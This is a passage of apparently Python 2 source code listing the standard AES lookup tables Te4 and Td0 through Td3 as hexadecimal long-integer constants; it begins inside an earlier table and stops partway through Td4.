0xa7a7f255L, 0x7e7e82fcL, 0x3d3d477aL, 0x6464acc8L, 0x5d5de7baL, 0x19192b32L, 0x737395e6L, 0x6060a0c0L, 0x81819819L, 0x4f4fd19eL, 0xdcdc7fa3L, 0x22226644L, 0x2a2a7e54L, 0x9090ab3bL, 0x8888830bL, 0x4646ca8cL, 0xeeee29c7L, 0xb8b8d36bL, 0x14143c28L, 0xdede79a7L, 0x5e5ee2bcL, 0x0b0b1d16L, 0xdbdb76adL, 0xe0e03bdbL, 0x32325664L, 0x3a3a4e74L, 0x0a0a1e14L, 0x4949db92L, 0x06060a0cL, 0x24246c48L, 0x5c5ce4b8L, 0xc2c25d9fL, 0xd3d36ebdL, 0xacacef43L, 0x6262a6c4L, 0x9191a839L, 0x9595a431L, 0xe4e437d3L, 0x79798bf2L, 0xe7e732d5L, 0xc8c8438bL, 0x3737596eL, 0x6d6db7daL, 0x8d8d8c01L, 0xd5d564b1L, 0x4e4ed29cL, 0xa9a9e049L, 0x6c6cb4d8L, 0x5656faacL, 0xf4f407f3L, 0xeaea25cfL, 0x6565afcaL, 0x7a7a8ef4L, 0xaeaee947L, 0x08081810L, 0xbabad56fL, 0x787888f0L, 0x25256f4aL, 0x2e2e725cL, 0x1c1c2438L, 0xa6a6f157L, 0xb4b4c773L, 0xc6c65197L, 0xe8e823cbL, 0xdddd7ca1L, 0x74749ce8L, 0x1f1f213eL, 0x4b4bdd96L, 0xbdbddc61L, 0x8b8b860dL, 0x8a8a850fL, 0x707090e0L, 0x3e3e427cL, 0xb5b5c471L, 0x6666aaccL, 0x4848d890L, 0x03030506L, 0xf6f601f7L, 0x0e0e121cL, 0x6161a3c2L, 0x35355f6aL, 0x5757f9aeL, 0xb9b9d069L, 0x86869117L, 0xc1c15899L, 0x1d1d273aL, 0x9e9eb927L, 0xe1e138d9L, 0xf8f813ebL, 0x9898b32bL, 0x11113322L, 0x6969bbd2L, 0xd9d970a9L, 0x8e8e8907L, 0x9494a733L, 0x9b9bb62dL, 0x1e1e223cL, 0x87879215L, 0xe9e920c9L, 0xcece4987L, 0x5555ffaaL, 0x28287850L, 0xdfdf7aa5L, 0x8c8c8f03L, 0xa1a1f859L, 0x89898009L, 0x0d0d171aL, 0xbfbfda65L, 0xe6e631d7L, 0x4242c684L, 0x6868b8d0L, 0x4141c382L, 0x9999b029L, 0x2d2d775aL, 0x0f0f111eL, 0xb0b0cb7bL, 0x5454fca8L, 0xbbbbd66dL, 0x16163a2cL, ] Te4 = [ 0x63636363L, 0x7c7c7c7cL, 0x77777777L, 0x7b7b7b7bL, 0xf2f2f2f2L, 0x6b6b6b6bL, 0x6f6f6f6fL, 0xc5c5c5c5L, 0x30303030L, 0x01010101L, 0x67676767L, 0x2b2b2b2bL, 0xfefefefeL, 0xd7d7d7d7L, 0xababababL, 0x76767676L, 0xcacacacaL, 0x82828282L, 0xc9c9c9c9L, 0x7d7d7d7dL, 0xfafafafaL, 0x59595959L, 0x47474747L, 0xf0f0f0f0L, 0xadadadadL, 0xd4d4d4d4L, 0xa2a2a2a2L, 0xafafafafL, 0x9c9c9c9cL, 0xa4a4a4a4L, 0x72727272L, 0xc0c0c0c0L, 0xb7b7b7b7L, 0xfdfdfdfdL, 0x93939393L, 0x26262626L, 0x36363636L, 0x3f3f3f3fL, 0xf7f7f7f7L, 0xccccccccL, 0x34343434L, 0xa5a5a5a5L, 0xe5e5e5e5L, 0xf1f1f1f1L, 0x71717171L, 0xd8d8d8d8L, 0x31313131L, 0x15151515L, 0x04040404L, 0xc7c7c7c7L, 0x23232323L, 0xc3c3c3c3L, 0x18181818L, 0x96969696L, 0x05050505L, 0x9a9a9a9aL, 0x07070707L, 0x12121212L, 0x80808080L, 0xe2e2e2e2L, 0xebebebebL, 0x27272727L, 0xb2b2b2b2L, 0x75757575L, 0x09090909L, 0x83838383L, 0x2c2c2c2cL, 0x1a1a1a1aL, 0x1b1b1b1bL, 0x6e6e6e6eL, 0x5a5a5a5aL, 0xa0a0a0a0L, 0x52525252L, 0x3b3b3b3bL, 0xd6d6d6d6L, 0xb3b3b3b3L, 0x29292929L, 0xe3e3e3e3L, 0x2f2f2f2fL, 0x84848484L, 0x53535353L, 0xd1d1d1d1L, 0x00000000L, 0xededededL, 0x20202020L, 0xfcfcfcfcL, 0xb1b1b1b1L, 0x5b5b5b5bL, 0x6a6a6a6aL, 0xcbcbcbcbL, 0xbebebebeL, 0x39393939L, 0x4a4a4a4aL, 0x4c4c4c4cL, 0x58585858L, 0xcfcfcfcfL, 0xd0d0d0d0L, 0xefefefefL, 0xaaaaaaaaL, 0xfbfbfbfbL, 0x43434343L, 0x4d4d4d4dL, 0x33333333L, 0x85858585L, 0x45454545L, 0xf9f9f9f9L, 0x02020202L, 0x7f7f7f7fL, 0x50505050L, 0x3c3c3c3cL, 0x9f9f9f9fL, 0xa8a8a8a8L, 0x51515151L, 0xa3a3a3a3L, 0x40404040L, 0x8f8f8f8fL, 0x92929292L, 0x9d9d9d9dL, 0x38383838L, 0xf5f5f5f5L, 0xbcbcbcbcL, 0xb6b6b6b6L, 0xdadadadaL, 0x21212121L, 0x10101010L, 0xffffffffL, 0xf3f3f3f3L, 0xd2d2d2d2L, 0xcdcdcdcdL, 0x0c0c0c0cL, 0x13131313L, 0xececececL, 0x5f5f5f5fL, 0x97979797L, 0x44444444L, 0x17171717L, 0xc4c4c4c4L, 0xa7a7a7a7L, 0x7e7e7e7eL, 0x3d3d3d3dL, 0x64646464L, 0x5d5d5d5dL, 0x19191919L, 0x73737373L, 0x60606060L, 0x81818181L, 0x4f4f4f4fL, 0xdcdcdcdcL, 0x22222222L, 0x2a2a2a2aL, 0x90909090L, 0x88888888L, 0x46464646L, 0xeeeeeeeeL, 0xb8b8b8b8L, 0x14141414L, 0xdedededeL, 0x5e5e5e5eL, 0x0b0b0b0bL, 0xdbdbdbdbL, 0xe0e0e0e0L, 0x32323232L, 0x3a3a3a3aL, 0x0a0a0a0aL, 0x49494949L, 0x06060606L, 0x24242424L, 0x5c5c5c5cL, 0xc2c2c2c2L, 0xd3d3d3d3L, 0xacacacacL, 0x62626262L, 0x91919191L, 0x95959595L, 0xe4e4e4e4L, 0x79797979L, 0xe7e7e7e7L, 0xc8c8c8c8L, 0x37373737L, 0x6d6d6d6dL, 0x8d8d8d8dL, 0xd5d5d5d5L, 0x4e4e4e4eL, 0xa9a9a9a9L, 0x6c6c6c6cL, 0x56565656L, 0xf4f4f4f4L, 0xeaeaeaeaL, 0x65656565L, 0x7a7a7a7aL, 0xaeaeaeaeL, 0x08080808L, 0xbabababaL, 0x78787878L, 0x25252525L, 0x2e2e2e2eL, 0x1c1c1c1cL, 0xa6a6a6a6L, 0xb4b4b4b4L, 0xc6c6c6c6L, 0xe8e8e8e8L, 0xddddddddL, 0x74747474L, 0x1f1f1f1fL, 0x4b4b4b4bL, 0xbdbdbdbdL, 0x8b8b8b8bL, 0x8a8a8a8aL, 0x70707070L, 0x3e3e3e3eL, 0xb5b5b5b5L, 0x66666666L, 0x48484848L, 0x03030303L, 0xf6f6f6f6L, 0x0e0e0e0eL, 0x61616161L, 0x35353535L, 0x57575757L, 0xb9b9b9b9L, 0x86868686L, 0xc1c1c1c1L, 0x1d1d1d1dL, 0x9e9e9e9eL, 0xe1e1e1e1L, 0xf8f8f8f8L, 0x98989898L, 0x11111111L, 0x69696969L, 0xd9d9d9d9L, 0x8e8e8e8eL, 0x94949494L, 0x9b9b9b9bL, 0x1e1e1e1eL, 0x87878787L, 0xe9e9e9e9L, 0xcecececeL, 0x55555555L, 0x28282828L, 0xdfdfdfdfL, 0x8c8c8c8cL, 0xa1a1a1a1L, 0x89898989L, 0x0d0d0d0dL, 0xbfbfbfbfL, 0xe6e6e6e6L, 0x42424242L, 0x68686868L, 0x41414141L, 0x99999999L, 0x2d2d2d2dL, 0x0f0f0f0fL, 0xb0b0b0b0L, 0x54545454L, 0xbbbbbbbbL, 0x16161616L, ] Td0 = [ 0x51f4a750L, 0x7e416553L, 0x1a17a4c3L, 0x3a275e96L, 0x3bab6bcbL, 0x1f9d45f1L, 0xacfa58abL, 0x4be30393L, 0x2030fa55L, 0xad766df6L, 0x88cc7691L, 0xf5024c25L, 0x4fe5d7fcL, 0xc52acbd7L, 0x26354480L, 0xb562a38fL, 0xdeb15a49L, 0x25ba1b67L, 0x45ea0e98L, 0x5dfec0e1L, 0xc32f7502L, 0x814cf012L, 0x8d4697a3L, 0x6bd3f9c6L, 0x038f5fe7L, 0x15929c95L, 0xbf6d7aebL, 0x955259daL, 0xd4be832dL, 0x587421d3L, 0x49e06929L, 0x8ec9c844L, 0x75c2896aL, 0xf48e7978L, 0x99583e6bL, 0x27b971ddL, 0xbee14fb6L, 0xf088ad17L, 0xc920ac66L, 0x7dce3ab4L, 0x63df4a18L, 0xe51a3182L, 0x97513360L, 0x62537f45L, 0xb16477e0L, 0xbb6bae84L, 0xfe81a01cL, 0xf9082b94L, 0x70486858L, 0x8f45fd19L, 0x94de6c87L, 0x527bf8b7L, 0xab73d323L, 0x724b02e2L, 0xe31f8f57L, 0x6655ab2aL, 0xb2eb2807L, 0x2fb5c203L, 0x86c57b9aL, 0xd33708a5L, 0x302887f2L, 0x23bfa5b2L, 0x02036abaL, 0xed16825cL, 0x8acf1c2bL, 0xa779b492L, 0xf307f2f0L, 0x4e69e2a1L, 0x65daf4cdL, 0x0605bed5L, 0xd134621fL, 0xc4a6fe8aL, 0x342e539dL, 0xa2f355a0L, 0x058ae132L, 0xa4f6eb75L, 0x0b83ec39L, 0x4060efaaL, 0x5e719f06L, 0xbd6e1051L, 0x3e218af9L, 0x96dd063dL, 0xdd3e05aeL, 0x4de6bd46L, 0x91548db5L, 0x71c45d05L, 0x0406d46fL, 0x605015ffL, 0x1998fb24L, 0xd6bde997L, 0x894043ccL, 0x67d99e77L, 0xb0e842bdL, 0x07898b88L, 0xe7195b38L, 0x79c8eedbL, 0xa17c0a47L, 0x7c420fe9L, 0xf8841ec9L, 0x00000000L, 0x09808683L, 0x322bed48L, 0x1e1170acL, 0x6c5a724eL, 0xfd0efffbL, 0x0f853856L, 0x3daed51eL, 0x362d3927L, 0x0a0fd964L, 0x685ca621L, 0x9b5b54d1L, 0x24362e3aL, 0x0c0a67b1L, 0x9357e70fL, 0xb4ee96d2L, 0x1b9b919eL, 0x80c0c54fL, 0x61dc20a2L, 0x5a774b69L, 0x1c121a16L, 0xe293ba0aL, 0xc0a02ae5L, 0x3c22e043L, 0x121b171dL, 0x0e090d0bL, 0xf28bc7adL, 0x2db6a8b9L, 0x141ea9c8L, 0x57f11985L, 0xaf75074cL, 0xee99ddbbL, 0xa37f60fdL, 0xf701269fL, 0x5c72f5bcL, 0x44663bc5L, 0x5bfb7e34L, 0x8b432976L, 0xcb23c6dcL, 0xb6edfc68L, 0xb8e4f163L, 0xd731dccaL, 0x42638510L, 0x13972240L, 0x84c61120L, 0x854a247dL, 0xd2bb3df8L, 0xaef93211L, 0xc729a16dL, 0x1d9e2f4bL, 0xdcb230f3L, 0x0d8652ecL, 0x77c1e3d0L, 0x2bb3166cL, 0xa970b999L, 0x119448faL, 0x47e96422L, 0xa8fc8cc4L, 0xa0f03f1aL, 0x567d2cd8L, 0x223390efL, 0x87494ec7L, 0xd938d1c1L, 0x8ccaa2feL, 0x98d40b36L, 0xa6f581cfL, 0xa57ade28L, 0xdab78e26L, 0x3fadbfa4L, 0x2c3a9de4L, 0x5078920dL, 0x6a5fcc9bL, 0x547e4662L, 0xf68d13c2L, 0x90d8b8e8L, 0x2e39f75eL, 0x82c3aff5L, 0x9f5d80beL, 0x69d0937cL, 0x6fd52da9L, 0xcf2512b3L, 0xc8ac993bL, 0x10187da7L, 0xe89c636eL, 0xdb3bbb7bL, 0xcd267809L, 0x6e5918f4L, 0xec9ab701L, 0x834f9aa8L, 0xe6956e65L, 0xaaffe67eL, 0x21bccf08L, 0xef15e8e6L, 0xbae79bd9L, 0x4a6f36ceL, 0xea9f09d4L, 0x29b07cd6L, 0x31a4b2afL, 0x2a3f2331L, 0xc6a59430L, 0x35a266c0L, 0x744ebc37L, 0xfc82caa6L, 0xe090d0b0L, 0x33a7d815L, 0xf104984aL, 0x41ecdaf7L, 0x7fcd500eL, 0x1791f62fL, 0x764dd68dL, 0x43efb04dL, 0xccaa4d54L, 0xe49604dfL, 0x9ed1b5e3L, 0x4c6a881bL, 0xc12c1fb8L, 0x4665517fL, 0x9d5eea04L, 0x018c355dL, 0xfa877473L, 0xfb0b412eL, 0xb3671d5aL, 0x92dbd252L, 0xe9105633L, 0x6dd64713L, 0x9ad7618cL, 0x37a10c7aL, 0x59f8148eL, 0xeb133c89L, 0xcea927eeL, 0xb761c935L, 0xe11ce5edL, 0x7a47b13cL, 0x9cd2df59L, 0x55f2733fL, 0x1814ce79L, 0x73c737bfL, 0x53f7cdeaL, 0x5ffdaa5bL, 0xdf3d6f14L, 0x7844db86L, 0xcaaff381L, 0xb968c43eL, 0x3824342cL, 0xc2a3405fL, 0x161dc372L, 0xbce2250cL, 0x283c498bL, 0xff0d9541L, 0x39a80171L, 0x080cb3deL, 0xd8b4e49cL, 0x6456c190L, 0x7bcb8461L, 0xd532b670L, 0x486c5c74L, 0xd0b85742L, ] Td1 = [ 0x5051f4a7L, 0x537e4165L, 0xc31a17a4L, 0x963a275eL, 0xcb3bab6bL, 0xf11f9d45L, 0xabacfa58L, 0x934be303L, 0x552030faL, 0xf6ad766dL, 0x9188cc76L, 0x25f5024cL, 0xfc4fe5d7L, 0xd7c52acbL, 0x80263544L, 0x8fb562a3L, 0x49deb15aL, 0x6725ba1bL, 0x9845ea0eL, 0xe15dfec0L, 0x02c32f75L, 0x12814cf0L, 0xa38d4697L, 0xc66bd3f9L, 0xe7038f5fL, 0x9515929cL, 0xebbf6d7aL, 0xda955259L, 0x2dd4be83L, 0xd3587421L, 0x2949e069L, 0x448ec9c8L, 0x6a75c289L, 0x78f48e79L, 0x6b99583eL, 0xdd27b971L, 0xb6bee14fL, 0x17f088adL, 0x66c920acL, 0xb47dce3aL, 0x1863df4aL, 0x82e51a31L, 0x60975133L, 0x4562537fL, 0xe0b16477L, 0x84bb6baeL, 0x1cfe81a0L, 0x94f9082bL, 0x58704868L, 0x198f45fdL, 0x8794de6cL, 0xb7527bf8L, 0x23ab73d3L, 0xe2724b02L, 0x57e31f8fL, 0x2a6655abL, 0x07b2eb28L, 0x032fb5c2L, 0x9a86c57bL, 0xa5d33708L, 0xf2302887L, 0xb223bfa5L, 0xba02036aL, 0x5ced1682L, 0x2b8acf1cL, 0x92a779b4L, 0xf0f307f2L, 0xa14e69e2L, 0xcd65daf4L, 0xd50605beL, 0x1fd13462L, 0x8ac4a6feL, 0x9d342e53L, 0xa0a2f355L, 0x32058ae1L, 0x75a4f6ebL, 0x390b83ecL, 0xaa4060efL, 0x065e719fL, 0x51bd6e10L, 0xf93e218aL, 0x3d96dd06L, 0xaedd3e05L, 0x464de6bdL, 0xb591548dL, 0x0571c45dL, 0x6f0406d4L, 0xff605015L, 0x241998fbL, 0x97d6bde9L, 0xcc894043L, 0x7767d99eL, 0xbdb0e842L, 0x8807898bL, 0x38e7195bL, 0xdb79c8eeL, 0x47a17c0aL, 0xe97c420fL, 0xc9f8841eL, 0x00000000L, 0x83098086L, 0x48322bedL, 0xac1e1170L, 0x4e6c5a72L, 0xfbfd0effL, 0x560f8538L, 0x1e3daed5L, 0x27362d39L, 0x640a0fd9L, 0x21685ca6L, 0xd19b5b54L, 0x3a24362eL, 0xb10c0a67L, 0x0f9357e7L, 0xd2b4ee96L, 0x9e1b9b91L, 0x4f80c0c5L, 0xa261dc20L, 0x695a774bL, 0x161c121aL, 0x0ae293baL, 0xe5c0a02aL, 0x433c22e0L, 0x1d121b17L, 0x0b0e090dL, 0xadf28bc7L, 0xb92db6a8L, 0xc8141ea9L, 0x8557f119L, 0x4caf7507L, 0xbbee99ddL, 0xfda37f60L, 0x9ff70126L, 0xbc5c72f5L, 0xc544663bL, 0x345bfb7eL, 0x768b4329L, 0xdccb23c6L, 0x68b6edfcL, 0x63b8e4f1L, 0xcad731dcL, 0x10426385L, 0x40139722L, 0x2084c611L, 0x7d854a24L, 0xf8d2bb3dL, 0x11aef932L, 0x6dc729a1L, 0x4b1d9e2fL, 0xf3dcb230L, 0xec0d8652L, 0xd077c1e3L, 0x6c2bb316L, 0x99a970b9L, 0xfa119448L, 0x2247e964L, 0xc4a8fc8cL, 0x1aa0f03fL, 0xd8567d2cL, 0xef223390L, 0xc787494eL, 0xc1d938d1L, 0xfe8ccaa2L, 0x3698d40bL, 0xcfa6f581L, 0x28a57adeL, 0x26dab78eL, 0xa43fadbfL, 0xe42c3a9dL, 0x0d507892L, 0x9b6a5fccL, 0x62547e46L, 0xc2f68d13L, 0xe890d8b8L, 0x5e2e39f7L, 0xf582c3afL, 0xbe9f5d80L, 0x7c69d093L, 0xa96fd52dL, 0xb3cf2512L, 0x3bc8ac99L, 0xa710187dL, 0x6ee89c63L, 0x7bdb3bbbL, 0x09cd2678L, 0xf46e5918L, 0x01ec9ab7L, 0xa8834f9aL, 0x65e6956eL, 0x7eaaffe6L, 0x0821bccfL, 0xe6ef15e8L, 0xd9bae79bL, 0xce4a6f36L, 0xd4ea9f09L, 0xd629b07cL, 0xaf31a4b2L, 0x312a3f23L, 0x30c6a594L, 0xc035a266L, 0x37744ebcL, 0xa6fc82caL, 0xb0e090d0L, 0x1533a7d8L, 0x4af10498L, 0xf741ecdaL, 0x0e7fcd50L, 0x2f1791f6L, 0x8d764dd6L, 0x4d43efb0L, 0x54ccaa4dL, 0xdfe49604L, 0xe39ed1b5L, 0x1b4c6a88L, 0xb8c12c1fL, 0x7f466551L, 0x049d5eeaL, 0x5d018c35L, 0x73fa8774L, 0x2efb0b41L, 0x5ab3671dL, 0x5292dbd2L, 0x33e91056L, 0x136dd647L, 0x8c9ad761L, 0x7a37a10cL, 0x8e59f814L, 0x89eb133cL, 0xeecea927L, 0x35b761c9L, 0xede11ce5L, 0x3c7a47b1L, 0x599cd2dfL, 0x3f55f273L, 0x791814ceL, 0xbf73c737L, 0xea53f7cdL, 0x5b5ffdaaL, 0x14df3d6fL, 0x867844dbL, 0x81caaff3L, 0x3eb968c4L, 0x2c382434L, 0x5fc2a340L, 0x72161dc3L, 0x0cbce225L, 0x8b283c49L, 0x41ff0d95L, 0x7139a801L, 0xde080cb3L, 0x9cd8b4e4L, 0x906456c1L, 0x617bcb84L, 0x70d532b6L, 0x74486c5cL, 0x42d0b857L, ] Td2 = [ 0xa75051f4L, 0x65537e41L, 0xa4c31a17L, 0x5e963a27L, 0x6bcb3babL, 0x45f11f9dL, 0x58abacfaL, 0x03934be3L, 0xfa552030L, 0x6df6ad76L, 0x769188ccL, 0x4c25f502L, 0xd7fc4fe5L, 0xcbd7c52aL, 0x44802635L, 0xa38fb562L, 0x5a49deb1L, 0x1b6725baL, 0x0e9845eaL, 0xc0e15dfeL, 0x7502c32fL, 0xf012814cL, 0x97a38d46L, 0xf9c66bd3L, 0x5fe7038fL, 0x9c951592L, 0x7aebbf6dL, 0x59da9552L, 0x832dd4beL, 0x21d35874L, 0x692949e0L, 0xc8448ec9L, 0x896a75c2L, 0x7978f48eL, 0x3e6b9958L, 0x71dd27b9L, 0x4fb6bee1L, 0xad17f088L, 0xac66c920L, 0x3ab47dceL, 0x4a1863dfL, 0x3182e51aL, 0x33609751L, 0x7f456253L, 0x77e0b164L, 0xae84bb6bL, 0xa01cfe81L, 0x2b94f908L, 0x68587048L, 0xfd198f45L, 0x6c8794deL, 0xf8b7527bL, 0xd323ab73L, 0x02e2724bL, 0x8f57e31fL, 0xab2a6655L, 0x2807b2ebL, 0xc2032fb5L, 0x7b9a86c5L, 0x08a5d337L, 0x87f23028L, 0xa5b223bfL, 0x6aba0203L, 0x825ced16L, 0x1c2b8acfL, 0xb492a779L, 0xf2f0f307L, 0xe2a14e69L, 0xf4cd65daL, 0xbed50605L, 0x621fd134L, 0xfe8ac4a6L, 0x539d342eL, 0x55a0a2f3L, 0xe132058aL, 0xeb75a4f6L, 0xec390b83L, 0xefaa4060L, 0x9f065e71L, 0x1051bd6eL, 0x8af93e21L, 0x063d96ddL, 0x05aedd3eL, 0xbd464de6L, 0x8db59154L, 0x5d0571c4L, 0xd46f0406L, 0x15ff6050L, 0xfb241998L, 0xe997d6bdL, 0x43cc8940L, 0x9e7767d9L, 0x42bdb0e8L, 0x8b880789L, 0x5b38e719L, 0xeedb79c8L, 0x0a47a17cL, 0x0fe97c42L, 0x1ec9f884L, 0x00000000L, 0x86830980L, 0xed48322bL, 0x70ac1e11L, 0x724e6c5aL, 0xfffbfd0eL, 0x38560f85L, 0xd51e3daeL, 0x3927362dL, 0xd9640a0fL, 0xa621685cL, 0x54d19b5bL, 0x2e3a2436L, 0x67b10c0aL, 0xe70f9357L, 0x96d2b4eeL, 0x919e1b9bL, 0xc54f80c0L, 0x20a261dcL, 0x4b695a77L, 0x1a161c12L, 0xba0ae293L, 0x2ae5c0a0L, 0xe0433c22L, 0x171d121bL, 0x0d0b0e09L, 0xc7adf28bL, 0xa8b92db6L, 0xa9c8141eL, 0x198557f1L, 0x074caf75L, 0xddbbee99L, 0x60fda37fL, 0x269ff701L, 0xf5bc5c72L, 0x3bc54466L, 0x7e345bfbL, 0x29768b43L, 0xc6dccb23L, 0xfc68b6edL, 0xf163b8e4L, 0xdccad731L, 0x85104263L, 0x22401397L, 0x112084c6L, 0x247d854aL, 0x3df8d2bbL, 0x3211aef9L, 0xa16dc729L, 0x2f4b1d9eL, 0x30f3dcb2L, 0x52ec0d86L, 0xe3d077c1L, 0x166c2bb3L, 0xb999a970L, 0x48fa1194L, 0x642247e9L, 0x8cc4a8fcL, 0x3f1aa0f0L, 0x2cd8567dL, 0x90ef2233L, 0x4ec78749L, 0xd1c1d938L, 0xa2fe8ccaL, 0x0b3698d4L, 0x81cfa6f5L, 0xde28a57aL, 0x8e26dab7L, 0xbfa43fadL, 0x9de42c3aL, 0x920d5078L, 0xcc9b6a5fL, 0x4662547eL, 0x13c2f68dL, 0xb8e890d8L, 0xf75e2e39L, 0xaff582c3L, 0x80be9f5dL, 0x937c69d0L, 0x2da96fd5L, 0x12b3cf25L, 0x993bc8acL, 0x7da71018L, 0x636ee89cL, 0xbb7bdb3bL, 0x7809cd26L, 0x18f46e59L, 0xb701ec9aL, 0x9aa8834fL, 0x6e65e695L, 0xe67eaaffL, 0xcf0821bcL, 0xe8e6ef15L, 0x9bd9bae7L, 0x36ce4a6fL, 0x09d4ea9fL, 0x7cd629b0L, 0xb2af31a4L, 0x23312a3fL, 0x9430c6a5L, 0x66c035a2L, 0xbc37744eL, 0xcaa6fc82L, 0xd0b0e090L, 0xd81533a7L, 0x984af104L, 0xdaf741ecL, 0x500e7fcdL, 0xf62f1791L, 0xd68d764dL, 0xb04d43efL, 0x4d54ccaaL, 0x04dfe496L, 0xb5e39ed1L, 0x881b4c6aL, 0x1fb8c12cL, 0x517f4665L, 0xea049d5eL, 0x355d018cL, 0x7473fa87L, 0x412efb0bL, 0x1d5ab367L, 0xd25292dbL, 0x5633e910L, 0x47136dd6L, 0x618c9ad7L, 0x0c7a37a1L, 0x148e59f8L, 0x3c89eb13L, 0x27eecea9L, 0xc935b761L, 0xe5ede11cL, 0xb13c7a47L, 0xdf599cd2L, 0x733f55f2L, 0xce791814L, 0x37bf73c7L, 0xcdea53f7L, 0xaa5b5ffdL, 0x6f14df3dL, 0xdb867844L, 0xf381caafL, 0xc43eb968L, 0x342c3824L, 0x405fc2a3L, 0xc372161dL, 0x250cbce2L, 0x498b283cL, 0x9541ff0dL, 0x017139a8L, 0xb3de080cL, 0xe49cd8b4L, 0xc1906456L, 0x84617bcbL, 0xb670d532L, 0x5c74486cL, 0x5742d0b8L, ] Td3 = [ 0xf4a75051L, 0x4165537eL, 0x17a4c31aL, 0x275e963aL, 0xab6bcb3bL, 0x9d45f11fL, 0xfa58abacL, 0xe303934bL, 0x30fa5520L, 0x766df6adL, 0xcc769188L, 0x024c25f5L, 0xe5d7fc4fL, 0x2acbd7c5L, 0x35448026L, 0x62a38fb5L, 0xb15a49deL, 0xba1b6725L, 0xea0e9845L, 0xfec0e15dL, 0x2f7502c3L, 0x4cf01281L, 0x4697a38dL, 0xd3f9c66bL, 0x8f5fe703L, 0x929c9515L, 0x6d7aebbfL, 0x5259da95L, 0xbe832dd4L, 0x7421d358L, 0xe0692949L, 0xc9c8448eL, 0xc2896a75L, 0x8e7978f4L, 0x583e6b99L, 0xb971dd27L, 0xe14fb6beL, 0x88ad17f0L, 0x20ac66c9L, 0xce3ab47dL, 0xdf4a1863L, 0x1a3182e5L, 0x51336097L, 0x537f4562L, 0x6477e0b1L, 0x6bae84bbL, 0x81a01cfeL, 0x082b94f9L, 0x48685870L, 0x45fd198fL, 0xde6c8794L, 0x7bf8b752L, 0x73d323abL, 0x4b02e272L, 0x1f8f57e3L, 0x55ab2a66L, 0xeb2807b2L, 0xb5c2032fL, 0xc57b9a86L, 0x3708a5d3L, 0x2887f230L, 0xbfa5b223L, 0x036aba02L, 0x16825cedL, 0xcf1c2b8aL, 0x79b492a7L, 0x07f2f0f3L, 0x69e2a14eL, 0xdaf4cd65L, 0x05bed506L, 0x34621fd1L, 0xa6fe8ac4L, 0x2e539d34L, 0xf355a0a2L, 0x8ae13205L, 0xf6eb75a4L, 0x83ec390bL, 0x60efaa40L, 0x719f065eL, 0x6e1051bdL, 0x218af93eL, 0xdd063d96L, 0x3e05aeddL, 0xe6bd464dL, 0x548db591L, 0xc45d0571L, 0x06d46f04L, 0x5015ff60L, 0x98fb2419L, 0xbde997d6L, 0x4043cc89L, 0xd99e7767L, 0xe842bdb0L, 0x898b8807L, 0x195b38e7L, 0xc8eedb79L, 0x7c0a47a1L, 0x420fe97cL, 0x841ec9f8L, 0x00000000L, 0x80868309L, 0x2bed4832L, 0x1170ac1eL, 0x5a724e6cL, 0x0efffbfdL, 0x8538560fL, 0xaed51e3dL, 0x2d392736L, 0x0fd9640aL, 0x5ca62168L, 0x5b54d19bL, 0x362e3a24L, 0x0a67b10cL, 0x57e70f93L, 0xee96d2b4L, 0x9b919e1bL, 0xc0c54f80L, 0xdc20a261L, 0x774b695aL, 0x121a161cL, 0x93ba0ae2L, 0xa02ae5c0L, 0x22e0433cL, 0x1b171d12L, 0x090d0b0eL, 0x8bc7adf2L, 0xb6a8b92dL, 0x1ea9c814L, 0xf1198557L, 0x75074cafL, 0x99ddbbeeL, 0x7f60fda3L, 0x01269ff7L, 0x72f5bc5cL, 0x663bc544L, 0xfb7e345bL, 0x4329768bL, 0x23c6dccbL, 0xedfc68b6L, 0xe4f163b8L, 0x31dccad7L, 0x63851042L, 0x97224013L, 0xc6112084L, 0x4a247d85L, 0xbb3df8d2L, 0xf93211aeL, 0x29a16dc7L, 0x9e2f4b1dL, 0xb230f3dcL, 0x8652ec0dL, 0xc1e3d077L, 0xb3166c2bL, 0x70b999a9L, 0x9448fa11L, 0xe9642247L, 0xfc8cc4a8L, 0xf03f1aa0L, 0x7d2cd856L, 0x3390ef22L, 0x494ec787L, 0x38d1c1d9L, 0xcaa2fe8cL, 0xd40b3698L, 0xf581cfa6L, 0x7ade28a5L, 0xb78e26daL, 0xadbfa43fL, 0x3a9de42cL, 0x78920d50L, 0x5fcc9b6aL, 0x7e466254L, 0x8d13c2f6L, 0xd8b8e890L, 0x39f75e2eL, 0xc3aff582L, 0x5d80be9fL, 0xd0937c69L, 0xd52da96fL, 0x2512b3cfL, 0xac993bc8L, 0x187da710L, 0x9c636ee8L, 0x3bbb7bdbL, 0x267809cdL, 0x5918f46eL, 0x9ab701ecL, 0x4f9aa883L, 0x956e65e6L, 0xffe67eaaL, 0xbccf0821L, 0x15e8e6efL, 0xe79bd9baL, 0x6f36ce4aL, 0x9f09d4eaL, 0xb07cd629L, 0xa4b2af31L, 0x3f23312aL, 0xa59430c6L, 0xa266c035L, 0x4ebc3774L, 0x82caa6fcL, 0x90d0b0e0L, 0xa7d81533L, 0x04984af1L, 0xecdaf741L, 0xcd500e7fL, 0x91f62f17L, 0x4dd68d76L, 0xefb04d43L, 0xaa4d54ccL, 0x9604dfe4L, 0xd1b5e39eL, 0x6a881b4cL, 0x2c1fb8c1L, 0x65517f46L, 0x5eea049dL, 0x8c355d01L, 0x877473faL, 0x0b412efbL, 0x671d5ab3L, 0xdbd25292L, 0x105633e9L, 0xd647136dL, 0xd7618c9aL, 0xa10c7a37L, 0xf8148e59L, 0x133c89ebL, 0xa927eeceL, 0x61c935b7L, 0x1ce5ede1L, 0x47b13c7aL, 0xd2df599cL, 0xf2733f55L, 0x14ce7918L, 0xc737bf73L, 0xf7cdea53L, 0xfdaa5b5fL, 0x3d6f14dfL, 0x44db8678L, 0xaff381caL, 0x68c43eb9L, 0x24342c38L, 0xa3405fc2L, 0x1dc37216L, 0xe2250cbcL, 0x3c498b28L, 0x0d9541ffL, 0xa8017139L, 0x0cb3de08L, 0xb4e49cd8L, 0x56c19064L, 0xcb84617bL, 0x32b670d5L, 0x6c5c7448L, 0xb85742d0L, ] Td4 = [ 0x52525252L, 0x09090909L, 0x6a6a6a6aL, 0xd5d5d5d5L, 0x30303030L, 0x36363636L, 0xa5a5a5a5L, 0x38383838L, 0xbfbfbfbfL, 0x40404040L, 0xa3a3a3a3L, 0x9e9e9e9eL, 0x81818181L, 0xf3f3f3f3L, 0xd7d7d7d7L, 0xfbfbfbfbL, 0x7c7c7c7cL, 0xe3e3e3e3L, 0x39393939L, 0x82828282L, 0x9b9b9b9bL, 0x2f2f2f2fL, 0xffffffffL, 0x87878787L, 0x34343434L, 0x8e8e8e8eL, 